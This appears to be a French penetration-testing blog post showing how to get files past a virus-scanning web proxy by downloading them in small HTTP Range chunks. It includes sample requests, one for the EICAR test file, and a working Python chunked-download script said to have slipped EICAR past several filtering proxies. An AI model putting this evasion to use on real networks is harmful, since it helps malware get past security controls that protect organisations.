Lors d’un pentest, il n’est pas rare de rencontrer un serveur proxy filtrant l’accès Internet. Dans certains cas, le proxy va jusqu’à analyser les fichiers téléchargés afin de vérifier qu’ils ne contiennent pas de virus, ce qui peut être problématique.
En partant du principe que l’antivirus proxy fonctionne à l’aide de signatures, l’objectif est de trouver un moyen pour altérer le fichier afin que la signature le “match” pas notre fichier à télécharger.
Une des possibilités offertes par HTTP est de permettre le découpage de la réponse en morceaux, délimités par des offsets, de la réponse. Ce type de fonctionnement est prévu pour être utilisé dans le cas ou un téléchargement doit être mis en pause, puis repris à un endroit précis.
A l’aide de l’en-tête Range: bytes=x-y il est possible de récupérer les octets de x à y de la réponse.
[code]
GET /alphabet.txt HTTP/1.1
Host: localhost
Range: bytes=5-10
HTTP/1.1 206 Partial Content
Date: Mon, 30 Aug 2010 14:17:28 GMT
Server: Apache/2
Last-Modified: Mon, 30 Aug 2010 14:17:14 GMT
Accept-Ranges: bytes
Content-Length: 6
Content-Range: bytes 5-10/26
Content-Type: text/plain
fghijk
[/code]
De là, en découpant le fichier à télécharger en plusieurs morceaux assez petits pour ne pas matcher la signature, le téléchargement devient possible.
A noter que cette méthode ne fonctionne que si le serveur l’accepte. Cela peut être testé en envoyant une requête avec l’en-tête Range. Si le serveur envoie une réponse avec le code HTTP 206 (Partial content), le serveur supporte le découpage.
[code]
GET /download/eicar.com HTTP/1.1
Host: eicar.org
Range: bytes=0-0
HTTP/1.1 206 Partial Content
Date: Mon, 30 Aug 2010 14:14:51 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
Last-Modified: Fri, 04 Jul 2008 10:38:03 GMT
ETag: “116a04b-44-45130520238c0”
Accept-Ranges: bytes
Content-Length: 1
Content-Range: bytes 0-0/68
Content-Type: application/x-msdos-program
[/code]
Comme on peut le voir ici, l’en-tête Content-Range affiche les bytes envoyés, ainsi que la taille totale du fichier (68 bytes dans cet exemple).
Afin de développer ce concept, le code Python suivant permet de récupérer un fichier en le découpant en morceaux.
[code language=”python”]
# -*- coding: utf-8 -*-
#
#USAGE
#python <scriptname> <url>
#
import urllib2, sys
index=0
chunks=20
URL=sys.argv[1]
fName=URL[URL.rfind(‘/’)+1:]
req=urllib2.Request(URL)
req.add_header(“Range”,”bytes=0-0″)
data=urllib2.urlopen(req)
if data.getcode()!=206:
print “Server does not support chunking. Exiting…”
sys.exit(0)
length = data.info().getheader(“Content-Range”)
length=int(length[length.rfind(‘/’)+1:])
print “File length is “+str(length)+” bytes”
chunkSize = int(length/chunks)
output=open(fName,’wb’)
while index < length:
req=urllib2.Request(URL)
req.add_header(“Range”,”bytes=”+str(index)+”-“+str(index+chunkSize))
data=urllib2.urlopen(req)
print str((index*100)/length)+”%”
output.write(data.read())
index=index+chunkSize+1
output.close()
print ‘done’
[/code]
Ce script à été testé sur quelques proxies transparents filtrant les virus, et tous ont permis le téléchargement du virus EICAR.